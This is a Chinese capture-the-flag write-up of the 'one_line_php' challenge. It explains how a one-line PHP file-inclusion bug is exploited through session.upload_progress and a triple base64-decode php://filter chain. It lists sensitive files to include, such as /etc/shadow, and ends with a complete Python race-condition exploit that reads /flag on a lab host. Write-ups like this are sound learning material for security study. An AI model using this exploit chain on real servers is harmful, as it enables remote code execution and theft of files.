one_line_php详细题解
题解过程
php
<?php
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
拿到题目果真一行代码,把代码拆解成同等相同的多行代码
php
<?php
$_ = @$_GET['orange'];
if ($_ && @substr(file($_)[0], 0, 6) === '@<?php') {
include($_);
} else {
highlight_file(__FILE__);
}
Get传参orange 前6个字符必须是@<?php,且是强比较,满足条件,实现文件包含,不满足就是显示源码
知道考点在文件包含,我们要知道文件包含这种类型的题目怎么去做
php文件包含(LFI) 参考:PHP 文件包含功能的利用与绕过策略全解析 - yuccun's blog
- 自带的php文件(phpinfo.php,config.php)
- 日志类文件(web日志:Apache/Nginx 的access.log,php日志:php_error.log,SSH 日志/var/log/auth.log)
- linux系统自带文件(/etc/passwd,/etc/shadow,/proc/self/environ)
- 临时缓存文件(php://input,php上传文件时生成的/tmp/php[随机字符]文件需竞争包含,会话临时文件:/var/lib/php/sessions/sess_[sessionID]注入代码后包含,缓存文件:如 APC 缓存、OPcache 缓存)
最先想到的是POST加php://input,尝试如下图

这里无法进行php://input,被include path阻止了,这时候就去考虑能否利用上传请求去新建临时文件
这里要了解php的一个机制就是哪怕你的php代码没有处理上传的逻辑也可以生成,请求结束后通常会被临时删除
根据这个思路,我们会发现请求后的文件删除------条件竞争
但是又会发现文件名我们不能随机获取所以,这个思路只能pass
接着去思考另一个常考点也就是**session文件生成**
首先我们要知道Session 文件生成得到关键点:
- 大部分情况下必须有 session_start () 代码(但是有例外,往下看)
- Session 放在哪里?都是看 session.save_path,这个值受操作系统和版本影响

这里可以看到 session.upload_progress这个功能,用于跟踪过文件上传的进度
参考:浅谈 SESSION_UPLOAD_PROGRESS 的利用-先知社区
第二个问题,如何使文件前六个字符是@?<php
这里还是比较好想到filter的协议的,?orange=php://filter/convert.base64-decode/resource=index.php
Include (file 函数也一样) 会读取 Index.php 内容,先用指定的编码器(这里是 base64 解码)处理文件内容,处理完后如果发现 <?php 才执行代码!
所以这里我们要怎么绕过@?<php?我们有没有办法消除 "upload_progress"?
Base64 原理:每 3 个字节(24 bit)为一组进行转换
为什么要避免 =?
- 这题是 php://filter 连续 base64-decode + session 噪声数据
- 带 = 的 payload 在这种环境更容易解码不稳定
- 所以常见做法就是"补齐到 27 倍数,让三层都无 =
convert.base64-decode 有一个很有趣的机制,遇到不是 base64 允许的字符会跳过,而不是报错!
?orange=php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_aaaabbbbccccdddd
os:感觉这里主要还是php代码的容错很高才能成功,其实这里不光三次base,rot13也可以,意思都差不多
exp
py
import base64
import re
import requests
from race_helper import run_threads
HOST = "http://10.10.70.220:37593/"
SESSID = "iamorange"
FLAG_RE = re.compile(rb"flag\{[^}\r\n]{1,220}\}", re.I)
def make_payload():
php = b"@<?php echo @file_get_contents('/flag');?>//"
pad = (-len(php)) % 27 # 3层base64都不出现 '='
raw = php + b"A" * pad
x = raw
for _ in range(3):
x = base64.b64encode(x)
return x.decode()
payload = make_payload()
headers = {
"Connection": "close",
"Cookie": f"PHPSESSID={SESSID}",
"User-Agent": "Mozilla/5.0",
}
data = {"PHP_SESSION_UPLOAD_PROGRESS": "ZZ" + payload + "Z"}
files = {"f": ("a.txt", b"A" * (2 * 1024 * 1024), "application/octet-stream")}
session_files = [
f"/var/lib/php/sessions/sess_{SESSID}",
f"/tmp/sess_{SESSID}",
f"/var/lib/php5/sess_{SESSID}",
f"/var/lib/php/session/sess_{SESSID}",
]
filters = "convert.base64-decode|convert.base64-decode|convert.base64-decode"
def do_write(_stop):
try:
requests.post(HOST, headers=headers, data=data, files=files, timeout=5)
except Exception:
pass
def do_read(_stop):
for sf in session_files:
orange = f"php://filter/{filters}/resource={sf}"
for q in ({"orange": orange}, {"a": "1", "orange": orange}):
try:
c = requests.get(HOST, headers=headers, params=q, timeout=4).content
if not c:
continue
if b"$_GET['orange']" in c or b"highlight_file" in c or b"<code><span" in c:
continue
m = FLAG_RE.search(c)
if m:
return m.group(0).decode(errors="ignore")
except Exception:
pass
return None
def main():
ans = run_threads(do_write, do_read, writers=32, readers=32, seconds=300)
print(ans or "NOT_FOUND")
if __name__ == "__main__":
main()

wp参考:文件包含漏洞CTF比赛one-line-php-challenge深度讲解_哔哩哔哩_bilibili
总结
- 文件包含 + php://filter 过滤链。
- session.upload_progress 会话文件写入。
- 条件竞争
- payload 编码稳定性(3 层 base64 + 避免 =)
这里了解到了php://filter 过滤链发现这个是真的强,又去学习了一下
参考: